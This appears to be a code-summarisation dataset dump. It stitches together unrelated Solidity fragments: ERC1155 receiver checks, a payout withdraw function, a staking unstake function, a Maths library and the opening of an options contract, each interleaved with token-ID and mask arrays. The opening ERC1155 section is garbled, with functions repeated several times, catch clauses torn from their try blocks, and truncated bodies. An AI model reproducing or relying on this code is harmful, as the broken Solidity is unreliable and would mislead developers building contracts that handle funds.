uint256[] memory amounts,
bytes memory data
)
internal
virtual
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
} catch Error(string memory reason) {
} catch {
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
} catch Error(string memory reason) {
} catch {
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
| 725,614 |
[
1,
13621,
434,
326,
5337,
4529,
3309,
17,
2316,
18,
389,
5268,
3241,
331,
23,
18,
21,
6315,
19,
9408,
628,
1147,
1599,
358,
2236,
324,
26488,
9408,
628,
2236,
358,
3726,
6617,
4524,
10286,
487,
326,
3699,
364,
777,
1147,
1953,
635,
283,
6291,
603,
1599,
12785,
16,
425,
18,
75,
18,
2333,
30,
2316,
17,
20902,
17,
4308,
4938,
350,
5496,
1977,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
4232,
39,
2499,
2539,
353,
1772,
16,
4232,
39,
28275,
16,
467,
654,
39,
2499,
2539,
16,
467,
654,
39,
2499,
2539,
2277,
3098,
288,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
11890,
5034,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
12,
2867,
516,
1426,
3719,
3238,
389,
9497,
12053,
4524,
31,
203,
203,
565,
533,
3238,
389,
1650,
31,
203,
203,
203,
203,
203,
565,
3885,
261,
1080,
3778,
2003,
67,
13,
288,
203,
3639,
389,
542,
3098,
12,
1650,
67,
1769,
203,
565,
289,
203,
203,
565,
445,
6146,
1358,
12,
3890,
24,
1560,
548,
13,
1071,
1476,
5024,
3849,
12,
654,
39,
28275,
16,
467,
654,
39,
28275,
13,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1560,
548,
422,
618,
12,
45,
654,
39,
2499,
2539,
2934,
5831,
548,
203,
5411,
747,
1560,
548,
422,
618,
12,
45,
654,
39,
2499,
2539,
2277,
3098,
2934,
5831,
548,
203,
5411,
747,
2240,
18,
28064,
1358,
12,
5831,
548,
1769,
203,
565,
289,
203,
203,
565,
445,
2003,
12,
11890,
5034,
13,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
1650,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
16,
2254,
5034,
612,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
4631,
480,
1758,
12,
20,
3631,
315,
654,
39,
2499,
2539,
30,
11013,
2
] |
./full_match/80001/0x8C41c1e609815658Af40caB14fd5198c1C7EaCE5/sources/contracts/LicensTransactionContract.sol
|
Generate a new unique ID using the ListingIDGenerator
|
uint256 newID = _idGenerator.getNewID();
| 5,661,288 |
[
1,
4625,
279,
394,
3089,
1599,
1450,
326,
987,
310,
734,
3908,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
394,
734,
273,
389,
350,
3908,
18,
588,
1908,
734,
5621,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/97/0xD0515878de173a937d8444835c79c7b15aC63e2C/sources/FastShark.sol
|
Deposit payout Direct payout Pool payout Match payout
|
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
| 11,365,460 |
[
1,
758,
1724,
293,
2012,
9908,
293,
2012,
8828,
293,
2012,
4639,
293,
2012,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
598,
9446,
1435,
3903,
288,
203,
540,
203,
3639,
261,
11890,
5034,
358,
67,
84,
2012,
16,
2254,
5034,
943,
67,
84,
2012,
13,
273,
333,
18,
84,
2012,
951,
12,
3576,
18,
15330,
1769,
203,
540,
203,
3639,
2583,
12,
5577,
63,
3576,
18,
15330,
8009,
84,
2012,
87,
411,
943,
67,
84,
2012,
16,
315,
5080,
293,
2012,
87,
8863,
203,
203,
3639,
309,
12,
869,
67,
84,
2012,
405,
374,
13,
288,
203,
5411,
309,
12,
5577,
63,
3576,
18,
15330,
8009,
84,
2012,
87,
397,
358,
67,
84,
2012,
405,
943,
67,
84,
2012,
13,
288,
203,
7734,
358,
67,
84,
2012,
273,
943,
67,
84,
2012,
300,
3677,
63,
3576,
18,
15330,
8009,
84,
2012,
87,
31,
203,
5411,
289,
203,
203,
5411,
3677,
63,
3576,
18,
15330,
8009,
323,
1724,
67,
84,
2012,
87,
1011,
358,
67,
84,
2012,
31,
203,
5411,
3677,
63,
3576,
18,
15330,
8009,
84,
2012,
87,
1011,
358,
67,
84,
2012,
31,
203,
203,
6647,
389,
1734,
52,
2012,
12,
3576,
18,
15330,
16,
358,
67,
84,
2012,
1769,
203,
3639,
289,
203,
540,
203,
3639,
309,
12,
5577,
63,
3576,
18,
15330,
8009,
84,
2012,
87,
411,
943,
67,
84,
2012,
597,
3677,
63,
3576,
18,
15330,
8009,
7205,
67,
18688,
407,
405,
374,
13,
288,
203,
5411,
2254,
5034,
2657,
67,
18688,
407,
273,
3677,
63,
3576,
18,
15330,
8009,
7205,
67,
18688,
407,
31,
203,
203,
5411,
309,
12,
5577,
63,
3576,
18,
15330,
8009,
84,
2012,
87,
2
] |
./full_match/80001/0x20A92709D2789d7094d0c96524279c45a5D44FCc/sources/contracts/Contract.sol
|
* @dev Unstakes a token and records the start block number or time stamp./
|
function unstake(uint256 tokenId) public {
require(
ownerOf(tokenId) == msg.sender,
"You are not the owner of this token"
);
tokenToTotalDurationStaked[tokenId] += getCurrentAdditionalBalance(
tokenId
);
unstake(tokenId);
}
| 873,444 |
[
1,
984,
334,
3223,
279,
1147,
471,
3853,
326,
787,
1203,
1300,
578,
813,
14429,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
640,
334,
911,
12,
11890,
5034,
1147,
548,
13,
1071,
288,
203,
3639,
2583,
12,
203,
5411,
3410,
951,
12,
2316,
548,
13,
422,
1234,
18,
15330,
16,
203,
5411,
315,
6225,
854,
486,
326,
3410,
434,
333,
1147,
6,
203,
3639,
11272,
203,
203,
3639,
1147,
774,
5269,
5326,
510,
9477,
63,
2316,
548,
65,
1011,
5175,
10552,
13937,
12,
203,
5411,
1147,
548,
203,
3639,
11272,
203,
3639,
640,
334,
911,
12,
2316,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
/**
* @title Maths
* A library to make working with numbers in Solidity hurt your brain less.
*/
library Maths {
/**
* @dev Adds two addends together, returns the sum
* @param addendA the first addend
* @param addendB the second addend
* @return sum the sum of the equation (e.g. addendA + addendB)
*/
function plus(
uint256 addendA,
uint256 addendB
) public pure returns (uint256 sum) {
sum = addendA + addendB;
}
/**
* @dev Subtracts the minuend from the subtrahend, returns the difference
* @param minuend the minuend
* @param subtrahend the subtrahend
* @return difference the difference (e.g. minuend - subtrahend)
*/
function minus(
uint256 minuend,
uint256 subtrahend
) public pure returns (uint256 difference) {
assert(minuend >= subtrahend);
difference = minuend - subtrahend;
}
/**
* @dev Multiplies two factors, returns the product
* @param factorA the first factor
* @param factorB the second factor
* @return product the product of the equation (e.g. factorA * factorB)
*/
function mul(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
if (factorA == 0 || factorB == 0) return 0;
product = factorA * factorB;
assert(product / factorA == factorB);
}
/**
* @dev Multiplies two factors, returns the product
* @param factorA the first factor
* @param factorB the second factor
* @return product the product of the equation (e.g. factorA * factorB)
*/
function times(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
return mul(factorA, factorB);
}
/**
* @dev Divides the dividend by divisor, returns the truncated quotient
* @param dividend the dividend
* @param divisor the divisor
* @return quotient the quotient of the equation (e.g. dividend / divisor)
*/
function div(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
quotient = dividend / divisor;
assert(quotient * divisor == dividend);
}
/**
* @dev Divides the dividend by divisor, returns the truncated quotient
* @param dividend the dividend
* @param divisor the divisor
* @return quotient the quotient of the equation (e.g. dividend / divisor)
*/
function dividedBy(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
return div(dividend, divisor);
}
/**
* @dev Divides the dividend by divisor, returns the quotient and remainder
* @param dividend the dividend
* @param divisor the divisor
* @return quotient the quotient of the equation (e.g. dividend / divisor)
* @return remainder the remainder of the equation (e.g. dividend % divisor)
*/
function divideSafely(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient, uint256 remainder) {
quotient = div(dividend, divisor);
remainder = dividend % divisor;
}
/**
* @dev Returns the lesser of two values.
* @param a the first value
* @param b the second value
* @return result the lesser of the two values
*/
function min(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a <= b ? a : b;
}
/**
* @dev Returns the greater of two values.
* @param a the first value
* @param b the second value
* @return result the greater of the two values
*/
function max(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a >= b ? a : b;
}
/**
* @dev Determines whether a value is less than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is less than b
*/
function isLessThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a < b;
}
/**
* @dev Determines whether a value is equal to or less than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is less than or equal to b
*/
function isAtMost(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a <= b;
}
/**
* @dev Determines whether a value is greater than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is greater than b
*/
function isGreaterThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a > b;
}
/**
* @dev Determines whether a value is equal to or greater than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is less than b
*/
function isAtLeast(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a >= b;
}
}
|
* @dev Returns the greater of two values. @param a the first value @param b the second value @return result the greater of the two values/
|
function max(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a >= b ? a : b;
}
| 482,035 |
[
1,
1356,
326,
6802,
434,
2795,
924,
18,
225,
279,
326,
1122,
460,
225,
324,
326,
2205,
460,
327,
563,
326,
6802,
434,
326,
2795,
924,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
943,
12,
203,
565,
2254,
5034,
279,
16,
203,
565,
2254,
5034,
324,
203,
225,
262,
1071,
16618,
1135,
261,
11890,
5034,
563,
13,
288,
203,
565,
563,
273,
279,
1545,
324,
692,
279,
294,
324,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.10;
import "./interfaces/OracleInterface.sol";
import "./interfaces/UniswapFactoryInterface.sol";
import "./interfaces/UniswapExchangeInterface.sol";
import "./packages/ERC20.sol";
import "./packages/IERC20.sol";
import "./packages/ERC20Detailed.sol";
import "./packages/Ownable.sol";
import "./packages/SafeMath.sol";
/**
* @title Opyn's Options Contract
* @author Opyn
*/
contract OptionsContract is Ownable, ERC20 {
using SafeMath for uint256;
/* represents floting point numbers, where number = value * 10 ** exponent
i.e 0.1 = 10 * 10 ** -3 */
struct Number {
uint256 value;
int32 exponent;
}
// Keeps track of the weighted collateral and weighted debt for each vault.
struct Vault {
uint256 collateral;
uint256 oTokensIssued;
uint256 underlying;
bool owned;
}
mapping(address => Vault) internal vaults;
address payable[] public vaultOwners;
// 10 is 0.01 i.e. 1% incentive.
Number public liquidationIncentive = Number(10, -3);
/* 500 is 0.5. Max amount that a Vault can be liquidated by i.e.
max collateral that can be taken in one function call */
Number public liquidationFactor = Number(500, -3);
/* 16 means 1.6. The minimum ratio of a Vault's collateral to insurance promised.
The ratio is calculated as below:
vault.collateral / (Vault.oTokensIssued * strikePrice) */
Number public minCollateralizationRatio = Number(10, -1);
// The amount of insurance promised per oToken
Number public strikePrice;
// The amount of underlying that 1 oToken protects.
Number public oTokenExchangeRate;
/* UNIX time.
Exercise period starts at `(expiry - windowSize)` and ends at `expiry` */
uint256 internal windowSize;
/* The total fees accumulated in the contract any time liquidate or exercise is called */
uint256 internal totalFee;
// The time of expiry of the options contract
uint256 public expiry;
// The precision of the collateral
int32 public collateralExp = -18;
// The precision of the underlying
int32 public underlyingExp = -18;
// The collateral asset
IERC20 public collateral;
// The asset being protected by the insurance
IERC20 public underlying;
// The asset in which insurance is denominated in.
IERC20 public strike;
// The Oracle used for the contract
OracleInterface public oracle;
// The name of the contract
string public name;
// The symbol of the contract
string public symbol;
// The number of decimals of the contract
uint8 public decimals;
// the state of the option contract, if true then all option functionalities are paused other than removing collateral
bool internal isPaused;
/**
